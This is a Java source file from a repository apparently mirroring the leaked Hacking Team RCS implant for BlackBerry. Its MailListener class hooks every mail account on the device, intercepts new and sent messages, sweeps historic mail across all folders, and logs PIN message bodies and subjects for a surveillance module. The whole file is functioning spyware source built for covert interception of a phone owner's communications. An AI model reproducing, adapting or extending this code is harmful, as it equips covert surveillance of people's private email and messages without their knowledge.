hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/module/mail/MailListener.java

Summary

Maintainability
F
3 days
Test Coverage
//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2011
 * HT srl,   All rights reserved.
 * 
 * Project      : RCS, RCSBlackBerry
 * *************************************************/

/**
 * 
 */
package blackberry.module.mail;

import java.util.Date;

import net.rim.blackberry.api.mail.Address;
import net.rim.blackberry.api.mail.Folder;
import net.rim.blackberry.api.mail.Message;
import net.rim.blackberry.api.mail.MessagingException;
import net.rim.blackberry.api.mail.SendListener;
import net.rim.blackberry.api.mail.ServiceConfiguration;
import net.rim.blackberry.api.mail.Session;
import net.rim.blackberry.api.mail.Store;
import net.rim.blackberry.api.mail.event.FolderEvent;
import net.rim.blackberry.api.mail.event.FolderListener;
import net.rim.blackberry.api.mail.event.StoreEvent;
import net.rim.device.api.servicebook.ServiceBook;
import net.rim.device.api.servicebook.ServiceRecord;
import net.rim.device.api.util.IntHashtable;
import blackberry.Singleton;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.fs.Path;
import blackberry.interfaces.MailObserver;
import blackberry.interfaces.iSingleton;
import blackberry.module.ModuleMessage;

/**
 * The listener interface for receiving mail events. The class that is
 * interested in processing a mail event implements this interface, and the
 * object created with that class is registered with a component using the
 * component's <code>addMailListener<code> method. When
 * the mail event occurs, that object's appropriate
 * method is invoked.
 * 
 * @author user1
 */
public final class MailListener implements FolderListener, SendListener,
        iSingleton { //, StoreListener, SendListener {

    //#ifdef DEBUG
    static Debug debug = new Debug("MailListener", DebugLevel.VERBOSE);
    //#endif

    String[] names;
    private boolean collecting;

    protected static IntHashtable fieldTable;
    private static ServiceRecord[] mailServiceRecords;
    //private Filter realtimeFilter;
    //private Filter collectFilter;

    //Vector mailObservers = new Vector();
    MailObserver mailObserver;
    private boolean isRunning;

    private static MailListener instance;
    private static final long GUID = 0xc997041f3236870dL;

    private void MailListener() {

    }

    public static synchronized MailListener getInstance() {
        if (instance == null) {
            instance = (MailListener) Singleton.self().get(GUID);
            if (instance == null) {
                final MailListener singleton = new MailListener();

                Singleton.self().put(GUID, singleton);
                instance = singleton;
            }
        }
        return instance;
    }

    /**
     * Start.
     */
    public void start() {

        final ServiceBook serviceBook = ServiceBook.getSB();
        mailServiceRecords = serviceBook.findRecordsByCid("CMIME");
        //mailServiceRecords = serviceBook.getRecords();

        names = new String[mailServiceRecords.length];
        //#ifdef DEBUG
        debug.trace("Starting: " + mailServiceRecords.length + " accounts");
        //#endif

        /*
         * // to forever realtimeFilter = (Filter) ((ModuleMessage)
         * ModuleMessage.getInstance()) .getFilterEmailRealtime(); // history
         * collectFilter = (Filter) ((ModuleMessage)
         * ModuleMessage.getInstance()) .getFilterEmailCollect();
         */

        // Controllo tutti gli account di posta
        for (int count = mailServiceRecords.length - 1; count >= 0; --count) {

            try {
                final ServiceConfiguration sc = new ServiceConfiguration(
                        mailServiceRecords[count]);
                final Store store = Session.getInstance(sc).getStore();
                addListeners(store);
            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error("Cannot add listener. Count: " + count);
                //#endif
            }
        }

        synchronized(this){
            isRunning = true;
        }

        //#ifdef DEBUG
        debug.trace("Started");
        //#endif

    }

    /**
     * Stop.
     */
    public void stop() {
        //#ifdef DEBUG
        debug.trace("Stopping");
        //#endif
        if (mailServiceRecords != null) {
            for (int count = mailServiceRecords.length - 1; count >= 0; --count) {

                final ServiceConfiguration sc = new ServiceConfiguration(
                        mailServiceRecords[count]);
                final Store store = Session.getInstance(sc).getStore();
                removeListeners(store);
            }
        }

        synchronized(this){
            isRunning = false;
        }
        //#ifdef DEBUG
        debug.trace("Stopped");
        //#endif
    }

    public void addSingleMailObserver(final MailObserver observer) {
        //#ifdef DEBUG
        debug.trace("addMailObserver");
        //#endif
        mailObserver = observer;

        if (!isRunning()) {
            //#ifdef DEBUG
            debug.trace("addMailObserver, not running, so start");
            //#endif
            start();
        }
    }

    public void removeSingleMailObserver(
            final MailObserver observer) {
        //#ifdef DEBUG
        debug.trace("removeMailObserver");
        //#endif
        mailObserver = null;

        if (isRunning()) {
            //#ifdef DEBUG
            debug.trace("removeSingleMailObserver,  running, so stop");
            //#endif
            stop();
        }
    }

    private void addListeners(final Store store) {
        //#ifdef DEBUG
        debug.info("Adding listeners to store: " + store.toString());
        //#endif
        store.addFolderListener(this);
        store.addSendListener(this);
        //store.addStoreListener(this);
    }

    /*
     * (non-Javadoc)
     * @see
     * net.rim.blackberry.api.mail.event.StoreListener#batchOperation(net.rim
     * .blackberry.api.mail.event.StoreEvent)
     */
    public void batchOperation(final StoreEvent arg0) {
        //#ifdef DEBUG
        debug.info("batchOperation: " + arg0);
        //#endif

    }

    public synchronized boolean isRunning() {
        return isRunning;
    }

    /*
     * (non-Javadoc)
     * @see
     * net.rim.blackberry.api.mail.event.FolderListener#messagesAdded(net.rim
     * .blackberry.api.mail.event.FolderEvent)
     */
    public void messagesAdded(final FolderEvent folderEvent) {
        init();
        
        final Message message = folderEvent.getMessage();
        final String folderName = message.getFolder().getFullName();

        final boolean added = folderEvent.getType() == FolderEvent.MESSAGE_ADDED;

        
        
        //#ifdef DEBUG
        debug.info("Added Message: " + message + " folderEvent: " + folderEvent
                + " folderName: " + folderName);
        //#endif

        try {
            final int type = folderEvent.getType();
            if (type != FolderEvent.MESSAGE_ADDED) {
                //#ifdef DEBUG
                debug.info("filterMessage type: " + type);
                //#endif
                return;
            }

            Filter realtimeFilter = ModuleMessage.getInstance()
                    .getFilterEmailRealtime();

            //long lastcheck = messageAgent.getLastCheck(folderName);
            // realtime non guarda il lastcheck, li prende tutti.
            final int filtered = realtimeFilter.filterMessage(message, 0);
            if (filtered == Filter.FILTERED_OK) {
                dispatch(message, realtimeFilter.maxMessageSize, "local");
                //#ifdef DEBUG

                debug.trace("messagesAdded: " + message.getFolder().getName());

                //#endif
            } else {
                //#ifdef DEBUG
                debug.trace("filter refused: " + filtered);
                //#endif
            }

            if (!collecting) {
                //C.1=COLLECT
                /*
                 * ((ModuleMessage) ModuleMessage.getInstance()).lastcheckSet(
                 * Messages.getString("C.1"), new Date());
                 */
                //String parent = message.getFolder().getParent().getName();
                //String folder = message.getFolder().getName();
                String fullname = message.getFolder().getFullName();
                ModuleMessage.getInstance().lastcheckSet(fullname, new Date());
            }

        } catch (final MessagingException ex) {
            //#ifdef DEBUG
            debug.error("cannot manage added message: " + ex);
            //#endif
        }
    }

    private void dispatch(Message message, int maxMessageSize,
            String string) {
        mailObserver.onNewMail(message, maxMessageSize, string);
    }

    /*
     * (non-Javadoc)
     * @see
     * net.rim.blackberry.api.mail.event.FolderListener#messagesRemoved(net.
     * rim.blackberry.api.mail.event.FolderEvent)
     */
    public void messagesRemoved(final FolderEvent e) {
        final Message message = e.getMessage();
        //#ifdef DEBUG
        debug.init();
        debug.info("Removed Message" + message);
        //#endif

    }

    /**
     * Removes the listeners.
     * 
     * @param store
     *            the store
     */
    public void removeListeners(final Store store) {
        //#ifdef DEBUG
        debug.info("remove listeners");
        //#endif
        store.removeFolderListener(this);
        //store.removeSendListener(this);
        //store.removeStoreListener(this);
    }

    boolean stopHistory;

    public void stopHistory() {
        stopHistory = true;
    }

    private synchronized void init() {
        if (!Path.isInizialized()) {
            Path.makeDirs();
            
        }
        Debug.init();
    }
    
    /**
     * retrieveHistoricMails.
     */
    public void retrieveHistoricMails() { 
        init();

        //#ifdef DEBUG
        debug.trace("retrieveHistoricMails");
        //#endif

        collecting = true;
        // questa data rappresenta l'ultimo controllo effettuato.
        // C.1=COLLECT
        /*
         * final Date lastCheckDate = ModuleMessage.getInstance().lastcheckGet(
         * Messages.getString("C.1"));
         */

        // Controllo tutti gli account di posta
        for (int count = mailServiceRecords.length - 1; count >= 0; --count) {
            if (stopHistory) {
                break;
            }
            names[count] = mailServiceRecords[count].getName();
            //#ifdef DEBUG
            debug.trace("Email account name: " + names[count]);
            //#endif

            //Date lastCheckDateName = ModuleMessage.getInstance().lastcheckGet(names[count]);

            //names[count] = mailServiceRecords[0].getName();
            final ServiceConfiguration sc = new ServiceConfiguration(
                    mailServiceRecords[count]);
            final Store store = Session.getInstance(sc).getStore();

            final Folder[] folders = store.list();
            // Scandisco ogni Folder dell'account di posta
            scanFolders(names[count], folders);
            ModuleMessage.getInstance().lastcheckSave();

            //ModuleMessage.getInstance().lastcheckSet(names[count], new Date());
        }

        //#ifdef DEBUG
        debug.trace("End search");
        //#endif

        collecting = false;
        stopHistory = false;
    }

    /**
     * scansione ricorsiva della directories.
     * 
     * @param name
     * @param subfolders
     *            the subfolders
     */
    public void scanFolders(final String storeName, final Folder[] subfolders) {
        Folder[] dirs;

        Filter collectFilter = ModuleMessage.getInstance()
                .getFilterEmailCollect();

        //#ifdef DBC
        Check.requires(subfolders != null && subfolders.length >= 0,
                "scanFolders");
        Check.requires(collectFilter != null,
                "scanFolders, collectFilter == null");
        //#endif

        if (collectFilter == null) {
            //#ifdef DEBUG
            debug.trace("scanFolders, no collectFilter, messageAgent: "
                    + ModuleMessage.getInstance());
            //#endif
            if (ModuleMessage.getInstance() != null) {

                collectFilter = (Filter) ((ModuleMessage) ModuleMessage
                        .getInstance()).getFilterEmailCollect();
                //#ifdef DEBUG
                debug.trace("scanFolders, get collectFilter: " + collectFilter);
                //#endif
            }
        }

        if (collectFilter == null) {
            //#ifdef DEBUG
            debug.error("scanFolders: null collectFilter");
            //#endif
            return;
        }

        for (int count = 0; count < subfolders.length; count++) {

            final Folder folder = subfolders[count];
            final String folderName = folder.getFullName();

            Date lastCheckDate = ModuleMessage.getInstance().lastcheckGet(
                    folderName);

            //#ifdef DEBUG
            debug.info("Folder name: " + folderName + " lastCheckDate:"
                    + lastCheckDate);
            //debug.trace("  getName: " + folder.getName());
            //debug.trace("  getType: " + folder.getType());
            //debug.trace("  getId: " + folder.getId());

            //#endif
            dirs = folder.list();
            if (dirs != null && dirs.length >= 0) {
                scanFolders(storeName, dirs);
            }

            try {
                final Message[] messages = folder.getMessages();

                //#ifdef DEBUG
                debug.info("  lastCheck: " + lastCheckDate);
                debug.info("  numMessages: " + messages.length);
                //#endif

                //#ifdef PIN_MESSAGES
                lookForPinMessages(messages);
                //#endif

                boolean next = false;
                boolean updateMarker = false;

                // Scandisco ogni e-mail dell'account di posta
                for (int j = messages.length - 1; j >= 0 && !next; j--) {
                    if (stopHistory) {
                        break;
                    }

                    try {
                        //#ifdef DEBUG
                        debug.trace("message # " + j + " folder " + folderName);
                        //#endif

                        final Message message = messages[j];

                        //#ifdef DBC
                        Check.asserts(message != null,
                                "scanFolders: message != null");
                        //#endif

                        int flags = message.getFlags();
                        //#ifdef DEBUG
                        debug.trace("flags: " + flags);
                        //#endif
                        final int filtered = collectFilter.filterMessage(
                                message, lastCheckDate.getTime());

                        //#ifdef DEBUG
                        debug.trace("filtered: " + filtered);
                        //#endif

                        switch (filtered) {
                            case Filter.FILTERED_OK:
                                //#ifdef DBC
                                Check.asserts(storeName != null,
                                        "scanFolders: storeName != null");
                                //#endif

                                dispatch(message, collectFilter.maxMessageSize,
                                        storeName);
                                
                                updateMarker = true;

                                break;
                            case Filter.FILTERED_DISABLED:
                            case Filter.FILTERED_NOTFOUND:
                                //updateMarker = false; //fallthrough, inibisce l'updateLastCheck

                            case Filter.FILTERED_LASTCHECK:
                            case Filter.FILTERED_DATEFROM:
                                next = true;
                                break;
                        }

                        //#ifdef DBC
                        int newflags = message.getFlags();
                        Check.asserts(flags == newflags, "scanFolders flags: "
                                + flags + " newflags: " + newflags);
                        //#endif

                    } catch (final Exception ex) {
                        //#ifdef DEBUG
                        debug.error("message # " + j + " ex:" + ex);
                        //#endif
                    }

                }

                if (updateMarker) {
                    ModuleMessage.getInstance().lastcheckSet(folderName,
                            new Date(), false);
                }

            } catch (final MessagingException e) {
                //#ifdef DEBUG
                debug.trace("Folder#getMessages() threw " + e.toString());
                //#endif
            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error("Scanning: " + ex);
                debug.error("Folder: " + folder);
                //#endif
            }
        }
    }

    private Date lookForPinMessages(final Message[] messages)
            throws MessagingException {

        //#ifdef DEBUG
        debug.trace("lookForPinMessages on: " + messages.length);
        //#endif

        // stampo le date.
        Date precRecDate = null;

        try {

            /* Date precSentDate = null; */
            for (int j = 0; j < messages.length; j++) {

                //debug.trace("1");
                final Message message = messages[j];
                if (precRecDate != null) {
                    //debug.trace("2");
                    //#ifdef DBC
                    Check.asserts(precRecDate.getTime() <= message
                            .getReceivedDate().getTime(),
                            "Wrong order Received: " + message.toString());
                    //#endif
                }
                //debug.trace("3");
                precRecDate = message.getReceivedDate();

                //debug.trace("4");
                Address address = null;
                try {
                    address = message.getFrom();
                } catch (Exception ex) {
                    //#ifdef DEBUG
                    debug.error(ex);
                    //#endif

                    //#ifdef DEBUG
                    debug.trace("lookForPinMessages: " + message.getBodyText());
                    //#endif

                }

                //debug.trace("5");
                if (message.getMessageType() == Message.PIN_MESSAGE) {
                    //#ifdef DEBUG
                    debug.info("PIN Message: " + message.getBodyText() + " s:"
                            + message.getSubject());
                    //#endif
                } else {
                    //debug.trace("6");
                    if (address != null) {
                        //debug.trace("7");
                        final String name = address.getName();
                        if (name != null && name.length() == 8
                                && name.indexOf("@") == -1
                                && name.indexOf(" ") == -1) {

                            //#ifdef DEBUG
                            debug.info("probably PIN Message From: " + name);
                            debug.trace("  s: " + message.getSubject());
                            debug.trace("  b: " + message.getBodyText());
                            //#endif
                        }

                    }

                    //debug.trace("8");

                    Address[] addresses = null;

                    try {
                        addresses = message
                                .getRecipients(Message.RecipientType.TO);
                    } catch (Exception ex) {
                        //#ifdef DEBUG
                        debug.error(ex);
                        //#endif
                    }
                    //debug.trace("9");
                    if (addresses != null) {
                        for (int i = 0; i < addresses.length; i++) {
                            address = addresses[i];
                            if (address != null) {

                                final String name = address.getAddr();
                                if (name != null && name.length() == 8
                                        && name.indexOf("@") == -1
                                        && name.indexOf(" ") == -1) {

                                    //#ifdef DEBUG
                                    debug.trace("probably PIN Message To: "
                                            + name);
                                    debug.trace("  s: " + message.getSubject());
                                    debug.trace("  b: " + message.getBodyText());
                                    //#endif
                                }
                            }
                        }
                    }
                }

            }

        } catch (Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }

        return precRecDate;
    }

    /*
     * (non-Javadoc)
     * @see
     * net.rim.blackberry.api.mail.SendListener#sendMessage(net.rim.blackberry
     * .api.mail.Message)
     */
    public boolean sendMessage(final Message message) {

        //#ifdef DEBUG
        debug.init();
        debug.trace("sending: " + message.getBodyText());
        //#endif

        return true;

    }

    public boolean haveNewAccount() {
        final ServiceBook serviceBook = ServiceBook.getSB();
        ServiceRecord[] actualServiceRecords = serviceBook
                .findRecordsByCid("CMIME");

        if (actualServiceRecords.length != mailServiceRecords.length) {
            //#ifdef DEBUG
            debug.info("haveNewAccount: len");
            //#endif
            return true;
        }

        for (int i = 0; i < actualServiceRecords.length; i++) {
            if (actualServiceRecords[i] != mailServiceRecords[i]) {
                //#ifdef DEBUG
                debug.info("haveNewAccount: " + i);
                //#endif
                return true;
            }
        }

        return false;
    }

}